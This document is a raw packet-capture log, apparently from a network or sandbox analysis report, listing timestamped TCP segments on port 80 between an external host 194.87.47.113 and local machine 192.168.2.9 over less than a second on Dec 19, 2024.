Dec 19, 2024 08:01:10.287982941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.288039923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.288053036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.288089037 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.288716078 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.288785934 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.288798094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.288810015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.288846016 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.289484024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.289504051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.289516926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.289539099 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.290265083 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.290306091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.290308952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.290318966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.290352106 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.291105032 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.291127920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.291138887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.291167974 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.291834116 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.291891098 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.291932106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.342005014 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.425414085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.425450087 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.425463915 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.425498962 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.425837994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.425877094 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.425889015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.425903082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.425939083 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.426490068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.426534891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.426549911 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.426574945 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.427278042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.427347898 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.427356958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.427362919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.427406073 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.428045034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.428126097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.428225040 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.458801985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.458846092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.458858967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.458889961 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.459165096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.459203959 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.459223986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.459237099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.459273100 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.459929943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.460100889 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.460139036 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.460160017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.460174084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.460215092 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.460896015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.460917950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.460931063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.460962057 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.461667061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.461708069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.461719990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.461720943 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.461756945 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.462450027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.462517023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.462527990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.462563038 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.463274956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.463344097 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.463406086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.463504076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.463551044 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.463556051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.463567972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.463604927 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.464298964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.464354992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.464366913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.464391947 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.465061903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.465106010 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.465123892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.465136051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.465169907 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.465881109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.465893030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.465904951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.465936899 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.466593027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.466655970 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.466675997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.466687918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.466723919 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.467397928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.467447042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.467458963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.467488050 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.468204975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.468270063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.468282938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.468313932 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.468327045 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.468947887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.469011068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.469022989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.469053030 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.469754934 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.469800949 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.469801903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.469815969 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.469850063 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.470539093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.470566988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.470580101 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.470607042 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.471276999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.471323967 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.471369028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.471381903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.471417904 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.472071886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.472100019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.472110987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.472138882 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.472790003 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.472839117 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.472862005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.472875118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.472912073 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.473596096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.473653078 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.473665953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.473687887 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.474442005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.474489927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.474503040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.474535942 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.474872112 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.475130081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.475177050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.475189924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.475215912 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.475897074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.475941896 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.475951910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.475965023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.476000071 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.476757050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.476783037 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.476793051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.476820946 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.479841948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.479888916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.479891062 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.479902029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.479943037 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.480211020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.480245113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.480257034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.480317116 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.481004000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.481050968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.481056929 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.481062889 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.481103897 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.481762886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.481827021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.481839895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.481869936 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.482526064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.482566118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.482575893 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.482578039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.482614040 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.483324051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.483347893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.483361006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.483391047 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.484093904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.484144926 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.484201908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.529422045 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.617458105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.617585897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.617597103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.617631912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.617645025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.617681980 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.617724895 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.618299007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.618341923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.618351936 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.618352890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.618386984 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.618944883 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.618997097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.619008064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.619034052 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.619793892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.619806051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.619818926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.619844913 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.619874001 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.620502949 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.651073933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.651099920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.651113987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.651235104 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.651323080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.651364088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.651376009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.651408911 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.652075052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.652117968 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.652291059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.652333021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.652345896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.652371883 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.653124094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.653136015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.653141022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.653196096 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.653812885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.653873920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.653883934 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.653913975 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.654592991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.654637098 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.654648066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.654659986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.654689074 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.655359983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.655452013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.655508995 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.655690908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.655778885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.655791998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.655819893 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.656451941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.656492949 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.656506062 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.656518936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.656553030 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.657314062 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.657325983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.657337904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.657356024 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.658011913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.658063889 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.658076048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.658083916 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.658107996 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.658785105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.658838987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.658852100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.658874035 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.659539938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.659584999 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.659598112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.659610987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.659643888 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.660320044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.660381079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.660392046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.660455942 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.661086082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.661137104 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.661175966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.661187887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.661221027 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.661864042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.661928892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.661942005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.661973000 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.662662983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.662708044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.662715912 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.662720919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.662758112 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.663424015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.663444042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.663456917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.663487911 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.664196014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.664243937 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.664263010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.664275885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.664314985 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.664961100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.665028095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.665040016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.665075064 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.665739059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.665786982 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.665790081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.665802002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.665833950 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.666528940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.666569948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.666580915 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.666610956 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.667293072 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.667336941 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.667342901 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.667356968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.667387962 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.668297052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.668308973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.668322086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.668359041 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.669289112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.669332027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.669334888 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.669342995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.669375896 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.671837091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.671904087 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.671993017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.672029018 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.672137976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.672149897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.672187090 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.672760963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.672805071 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.672816992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.672828913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.672880888 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.673388004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.673456907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.673469067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.673511982 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.674191952 CET	80	49739	194.87.47.113	192.168.2.9
